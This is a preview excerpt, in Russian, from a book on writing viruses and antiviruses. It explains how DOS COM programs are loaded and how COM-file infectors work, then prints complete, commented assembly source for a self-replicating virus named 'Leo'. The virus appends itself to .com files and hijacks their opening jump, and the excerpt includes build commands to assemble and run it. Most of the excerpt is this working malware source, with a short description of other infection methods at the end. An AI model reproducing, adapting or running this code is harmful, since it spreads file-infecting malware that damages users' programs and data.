Создаем вирус и антивирус

Игорь Гульев

Virus Warning! С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины». В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).

Оглавление

* * *

Приведённый ознакомительный фрагмент книги Создаем вирус и антивирус предоставлен нашим книжным партнёром — компанией ЛитРес.

Купить и скачать полную версию книги в форматах FB2, ePub, MOBI, TXT, HTML, RTF и других

Глава 1

СОМ-вирусы

В этой главе рассказано об алгоритмах работы вирусов, заражающих COM-файлы, и способах их внедрения. Представлен исходный текст одного из таких вирусов с подробными комментариями. Также приведены основные сведения о структуре и принципах работы COM-программы.

Компьютерные вирусы могут «гнездиться» в самых неожиданных местах, например, в записи начальной загрузки MBR (master boot record), в исполняемых файлах типа COM и EXE, в файлах динамических библиотек DLL и даже в документах текстового процессора Microsoft Word for Windows. В этом разделе подробно рассматривается строение вируса, поражающего COM-файлы.

Структура и процесс загрузки COM-программы

Что же представляет собой COM-программа, как она загружается в память и запускается?

Структура COM-программы предельно проста — она содержит только код и данные программы, не имея даже заголовка. Размер COM-программы ограничен размером одного сегмента (64 Кбайт).

И еще два понятия, которые часто будут встречаться:

Program Segment Prefix (PSP) — область памяти размером 256 (0100h) байт, предшествующая программе при ее загрузке. PSP содержит данные командной строки и относящиеся к программе переменные.

Disk Transfer Address (DTA) — блок данных, содержащий адреса обмена данными с файлом (чтение или запись). Область DTA для работы с файлом используют многие функции, в том числе и не производящие чтение или запись в файл. Примером может служить функция 4Eh (найти первый файл по шаблону), которая будет неоднократно встречаться в листингах программ.

Загрузка COM-программы в память и ее запуск происходят так:

1. Определяется сегментный адрес свободного участка памяти достаточного для размещения программы размера.

2. Создается и заполняется блок памяти для переменных среды.

3. Создается блок памяти для PSP и программы (сегмент:0000Ь — PSP; сегмент:0100Ь — программа). В поля PSP заносятся соответствующие значения.

4. Устанавливается адрес DTA равным PSP:0080h.

5. Загружается COM-файл с адреса PSP:0100h.

6. Значение регистра AX устанавливается в соответствии с параметрами командной строки.

7. Регистры DS, ES и SS устанавливаются на сегмент PSP и программы (PSP:0000h).

8. Регистр SP устанавливается на конец сегмента, после чего в стек записывается 0000h.

9. Происходит запуск программы с адреса PSP:0100h.

COM-программа всегда состоит из одного сегмента и запускается со смещения 0100h.

Простейший COM-вирус

В начале COM-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды 0E9h, следующие два — адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только COM-файлы, начинающиеся с команды JMP. Благодаря простому строению COM-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.

Рис. 1.1

После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2.

Рис. 1.2

Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге COM-программы. Для этого используется функция 4Eh (найти первый файл):

;Ищем первый файл по шаблону имени

mov ah,4Eh

mov dx,offset fname — offset myself

add dx,bp

mov cx,00100111b

int 21h

Затем вирус проверяет (по первому байту файла), подходят ли ему найденные COM-программы:

;Открываем файл

Open:

mov ax,3D02h

mov dx,9Eh

int 21h

;Если при открытии файла ошибок не произошло,

;переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

;Читаем первый байт файла

See_Him:

xchg bx,ax

mov ah,3Fh

mov dx,offset buf–offset myself

add dx,bp

xor cx,cx;CX=0

inc cx;(увеличение на 1) CX=1

int 21h

;Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего

;файла — этот для заражения не подходит

cmp byte ptr [bp+(offset buf–offset myself)],0E9h

jne find_next

Перед заражением файла вирус проверяет сигнатуру — не исключено, что файл уже заражен:

;Переходим в конец файла (на последний байт)

mov ax,4200h

xor cx,cx

mov dx,[bp+(offset flen−offset MySelf)]

dec dx

int 21h

;Читаем сигнатуру вируса

Read:

mov ah,3Fh

xor cx,cx

inc cx

mov dx,offset bytik–offset myself

add dx,bp

int 21h

;Если при чтении файла ошибок не произошло,

;проверяем сигнатуру,

;иначе ищем следующий файл

jnc test_bytik

jmp find_next

;Проверяем сигнатуру

Test_bytik:

cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

;Если сигнатура есть, то ищем другой файл,

;если ее нет — будем заражать

je find_next2

jmp Not_infected

Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:

;Переходим в конец файла

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h

;Устанавливаем регистр DS на сегмент кода

push cs

pop ds

;Копируем вирус в файл

mov ah,40h

mov cx,offset VirEnd–offset la

mov dx,bp

sub dx,offset myself−offset la

int 21h

;Записываем в начало файла переход на тело вируса

Write_Jmp:

;Переходим в начало файла

xor cx,cx

xor dx,dx

mov ax,4200h

int 21h

;Записываем первые три байта файла (переход на тело вируса)

mov ah,40h

mov cx,3

mov dx,offset jmpvir–offset myself

add dx,bp

int 21h

После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем — исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю.

Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:

tasm.exe leo.asm

tlink leo.obj/t

В итоге получился файл LEO.COM, содержащий готовый COM-вирус. Для проверки работы вируса можно создать отдельный каталог и скопировать в него этот файл, а также несколько других COM-файлов. После запуска LEO.COM вирус внедрится во все остальные COM-файлы. Не стоит бояться, что будет заражен сразу весь компьютер — вирус распространяется только в текущем каталоге. Ниже приводится исходный текст вируса:

.286;Устанавливаем тип процессора

CheckByte equ 0F0h

;Указываем, что регистры CS и DS содержат

;адрес сегмента кода программы

assume cs:code, ds:code

;Начало сегмента кода. В конце программы сегмент кода нужно

;закрыть — ”code ends”

code segment

;Устанавливаем смещения в сегменте кода.

;Данная строчка обязательна

;для COM−программы (все COM−программы

;начинаются с адреса 100h)

org 100h

start:

;Имитируем зараженный COM−файл.

;Тело вируса начинается с метки la

; jmp la

db 0E9h;Код команды JMP

dw offset la–offset real

real:

;Выходим из программы

mov ah,4Ch

int 21h

;Здесь начинается тело вируса

la:

;Сохраняем регистры и флаги

pushf

pusha

push ds es

;Получаем точку входа.

;Для этого вызываем подпрограмму (следующий

;за вызовом адрес) и читаем из стека адрес возврата

call MySelf

MySelf:

pop bp

;Восстанавливаем первые три байта исходной программы

mov al,[bp+(offset bytes_3[0]–offset MySelf)]

mov byte ptr cs:[100h],al

mov al,[bp+(offset bytes_3[1]–offset MySelf)]

mov byte ptr cs:[101h],al

mov al,[bp+(offset bytes_3[2]–offset MySelf)]

mov byte ptr cs:[102h],al

;Дальнейшая задача вируса — найти новую жертву.

;Для этого используется функция 4Eh (Найти первый файл).

;Ищем файл с любыми атрибутами

Find_First:

;Ищем первый файл по шаблону имени

mov ah,4Eh

mov dx,offset fname–offset myself

add dx,bp

mov cx,00100111b

int 21h

;Если файл найден — переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit

attributes:

;Читаем оригинальные атрибуты файла

mov ax,4300h

mov dx,9Eh;Адрес имени файла

int 21h

;Сохраняем оригинальные атрибуты файла

push cx

;Устанавливаем новые атрибуты файла

mov ax,4301h

mov dx,9Eh;Адрес имени файла

mov cx,20h

int 21h

;Переходим к открытию файла

jmp Open

;Ищем следующий файл, так как предыдущий не подходит

Find_Next:

;Восстанавливаем оригинальные атрибуты файла

mov ax,4301h

mov dx,9Eh;Адрес имени файла

pop cx

int 21h

;Закрываем файл

mov ah,3Eh

int 21h

;Ищем следующий файл

mov ah,4Fh

int 21h

;Если файл найден — переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit

;Открываем файл

Open:

mov ax,3D02h

mov dx,9Eh

int 21h

;Если при открытии файла ошибок не произошло —

;переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

;Читаем первый байт файла

See_Him:

xchg bx,ax

mov ah,3Fh

mov dx,offset buf–offset myself

add dx,bp

xor cx,cx;CX=0

inc cx;(увеличение на 1) CX=1

int 21h

;Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего файла —

;этот для заражения не подходит

cmp byte ptr [bp+(offset buf–offset myself)],0E9h

jne find_next

;Переходим в начало файла

mov ax,4200h

xor cx,cx

xor dx,dx

int 21h

;Читаем первые три байта файла в тело вируса

See_Him2:

mov ah,3Fh

mov dx,offset bytes_3–offset myself

add dx,bp

mov cx,3

int 21h

;Получаем длину файла, для чего переходим в конец файла

Testik:

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h

Size_test:

;Сохраняем полученную длину файла

mov [bp+(offset flen−offset MySelf)],ax

;Проверяем длину файла

cmp ax,64000

;Если файл не больше 64000 байт, — переходим

;к следующей проверке,

;иначе ищем другой файл (этот слишком велик для заражения)

jna rich_test

jmp find_next

;Проверим, не заражен ли файл.

;Для этого проверим сигнатуру вируса

Rich_test:

;Переходим в конец файла (на последний байт)

mov ax,4200h

xor cx,cx

mov dx,[bp+(offset flen−offset MySelf)]

dec dx

int 21h

;Читаем сигнатуру вируса

Read:

mov ah,3Fh

xor cx,cx

inc cx

mov dx,offset bytik–offset myself

add dx,bp

int 21h

;Если при чтении файла ошибок

;не произошло — проверяем сигнатуру,

;иначе ищем следующий файл

jnc test_bytik

jmp find_next

;Проверяем сигнатуру

Test_bytik:

cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

;Если сигнатура есть, то ищем другой файл,

;если нет — будем заражать

jne Not_infected

jmp find_next

;Файл не заражен — будем заражать

Not_infected:

mov ax,[bp+(offset flen−offset myself)]

sub ax,03h

mov [bp+(offset jmp_cmd−offset myself)],ax

I_am_copy:

;Переходим в конец файла

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h

;Устанавливаем регистр DS на сегмент кода

push cs

pop ds

;Копируем вирус в файл

mov ah,40h

mov cx,offset VirEnd–offset la

mov dx,bp

sub dx,offset myself−offset la

int 21h

;Записываем в начало файла переход на тело вируса

Write_Jmp:

;Переходим в начало файла

xor cx,cx

xor dx,dx

mov ax,4200h

int 21h

;Записываем первые три байта файла (переход на тело вируса)

mov ah,40h

mov cx,3

mov dx,offset jmpvir–offset myself

add dx,bp

int 21h

;Закрываем файл

Close:

mov ah,3Eh

int 21h

;Восстанавливаем оригинальные атрибуты файла

mov ax,4301h

mov dx,9Eh

pop cx

int 21h

exit:

;Восстанавливаем первоначальные значения регистров и флагов

pop es ds

popa

popf

;Передаем управление программе−носителю

push 100h

retn

;Байт для чтения сигнатуры

bytik db (?)

;Зарезервировано для изменения трех байт вируса

jmpvir db 0E9h

jmp_cmd dw (?)

;Длина файла

flen dw (?)

;Шаблон для поиска файлов

fname db ”*.com”,0

;Область для хранения команды перехода

bytes_3 db 90h, 90h, 90h

;Байт памяти для чтения первого байта файла

;с целью проверки (E9h)

buf db (?)

;Название вируса

virus_name db ”Leo”

;Сигнатура

a db CheckByte

VirEnd:

code ends

end start

Способы внедрения COM-вирусов

Рассмотренный вирус дописывался в конец файла, а в начало файла вписывал переход на себя. Существуют и другие способы внедрения вирусов.

Рассмотрим два варианта внедрения COM-вируса в начало файла. Вариант первый. Вирус переписывает начало программы в конец файла, чтобы освободить место для себя. После этого тело вируса записывается в начало файла, а небольшая его часть, обеспечивающая перенос вытесненного фрагмента программы, на прежнее место — в конец. При восстановлении первоначального вида программы тело вируса будет затерто, поэтому код вируса, восстанавливающий программу, должен находиться в безопасном месте, отдельно от основного тела вируса. Этот способ внедрения изображен на рис. 1.3.

Рис. 1.3

При загрузке зараженного таким способом файла управление получит вирус (так как он находится в начале файла и будет загружен с адреса 0100h). После окончания работы вирус передает управление коду, переносящему вытесненную часть программы на прежнее место. После восстановления (в памяти, не в файле) первоначального вида программы, она запускается. Схема работы вируса изображена на рис. 1.4.

Рис. 1.4

Второй вариант отличается от первого тем, что вирус, освобождая для себя место, сдвигает все тело программы, а не переносит ее часть в конец файла. Этот способ внедрения изображен на рис. 1.5.

Рис. 1.5

После запуска зараженной программы, как и в предыдущем случае, управление получает вирус. Дальнейшая работа вируса отличается только тем, что часть вируса, восстанавливающая первоначальный вид программы, переносит к адресу 0100h все тело программы, а не только вытесненную часть. Схема работы вируса, заражающего файл таким образом, приведена на рис. 1.6.

Рис. 1.6

Существуют разновидности вирусов, не дописывающие часть своего тела в конец файла. К примеру, вирус может внедряться в середину файла. В этом случае алгоритм работы вируса является смесью алгоритмов одного из двух только что описанных вирусов и вируса, описанного в разделе «Простейший COM-вирус».

Оглавление

* * *

Приведённый ознакомительный фрагмент книги Создаем вирус и антивирус предоставлен нашим книжным партнёром — компанией ЛитРес.

Купить и скачать полную версию книги в форматах FB2, ePub, MOBI, TXT, HTML, RTF и других

Смотрите также

а б в г д е ё ж з и й к л м н о п р с т у ф х ц ч ш щ э ю я